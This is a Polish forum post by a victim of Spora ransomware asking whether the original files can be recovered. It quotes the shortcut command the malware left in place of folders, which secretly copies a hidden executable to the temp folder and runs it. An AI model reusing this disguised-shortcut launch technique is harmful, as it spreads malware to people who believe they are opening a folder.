Wirusa już usunąłem, wcześniej antywirus nie zadziałał.
Na podstawie przesłanych próbek dostłem taką odpowiedź "niestety, pliki zostały zaszyfrowane przez jedną z odmian wirusa Trojan-Ransom.Win32.Spora i nie można ich odszyfrować ze względu na silny algorytm oraz długi klucz."
Przykładowa ścieżka do katalogu, właściwie skrótu do katalogu (wirus zamienił katalogi w skróty): C:\Windows\system32\cmd.exe /c start explorer.exe "KMZ" & type "b76e4df67a18c25a.exe" > "%temp%\b76e4df67a18c25a.exe" && "%temp%\b76e4df67a18c25a.exe"
Na pierwszy rzut oka, ikony, waga, rozszerzenie plików wygladają normalnie. Ciekawe jest to, że przegladarka (ACDSee) pokazuje miniatury obrazów, nawt mnimalnie je powiększa, ale już nie pokazuje ich w pelnej rozdzielczości.
Plików tekstowych, juz w żaden sposób nie można podejrzeć.
Zastanawiam się (gdzieś to czytałem) czy oryginalne pliki zostały usuniete, a pozostały zaszyfrowane? Jeśli tak, to może pokusić sie na odzyskanie tych usunietych?